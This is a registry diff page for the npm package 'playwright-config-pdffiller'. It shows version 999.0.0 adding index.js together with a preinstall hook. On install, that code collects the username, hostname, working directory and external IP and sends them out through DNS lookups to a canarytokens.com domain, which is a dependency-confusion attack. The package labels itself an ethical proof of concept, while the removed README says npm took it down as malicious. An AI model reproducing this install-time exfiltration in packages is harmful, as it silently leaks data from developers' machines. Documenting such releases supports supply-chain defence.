playwright-config-pdffiller 0.0.1-security → 999.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of playwright-config-pdffiller might be problematic. Click here for more details.
- package/index.js +28 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,28 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
const os = require('os');
|
3
|
+
const https = require('https');
|
4
|
+
|
5
|
+
// Collect machine info
|
6
|
+
const username = process.env.USER || process.env.USERNAME || 'nouser';
|
7
|
+
const hostname = os.hostname();
|
8
|
+
const cwd = process.cwd();
|
9
|
+
|
10
|
+
// Format and sanitize for DNS subdomain
|
11
|
+
const base = `${username}-${hostname}-${Date.now()}`.replace(/[^a-zA-Z0-9\-]/g, '');
|
12
|
+
const dnsToken = '290o0vvmgjeg55fdnf4k8du5o.canarytokens.com';
|
13
|
+
|
14
|
+
// Trigger for basic info
|
15
|
+
dns.lookup(`${base}.${dnsToken}`, () => {});
|
16
|
+
|
17
|
+
// Trigger for cwd
|
18
|
+
const cwdMarker = cwd.replace(/[^a-zA-Z0-9\-]/g, '').slice(-50);
|
19
|
+
dns.lookup(`${base}-cwd-${cwdMarker}.${dnsToken}`, () => {});
|
20
|
+
|
21
|
+
// Get external IP and trigger
|
22
|
+
https.get("https://api.ipify.org", (res) => {
|
23
|
+
res.setEncoding("utf8");
|
24
|
+
res.on("data", (ip) => {
|
25
|
+
const ipMarker = ip.replace(/\./g, '-');
|
26
|
+
dns.lookup(`${base}-ip-${ipMarker}.${dnsToken}`, () => {});
|
27
|
+
});
|
28
|
+
}).on("error", () => {});
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "playwright-config-pdffiller",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "999.0.0",
|
4
|
+
"description": "PoC for Dependency Confusion",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "ethical-researcher",
|
10
|
+
"license": "MIT"
|
6
11
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=playwright-config-pdffiller for more information.
|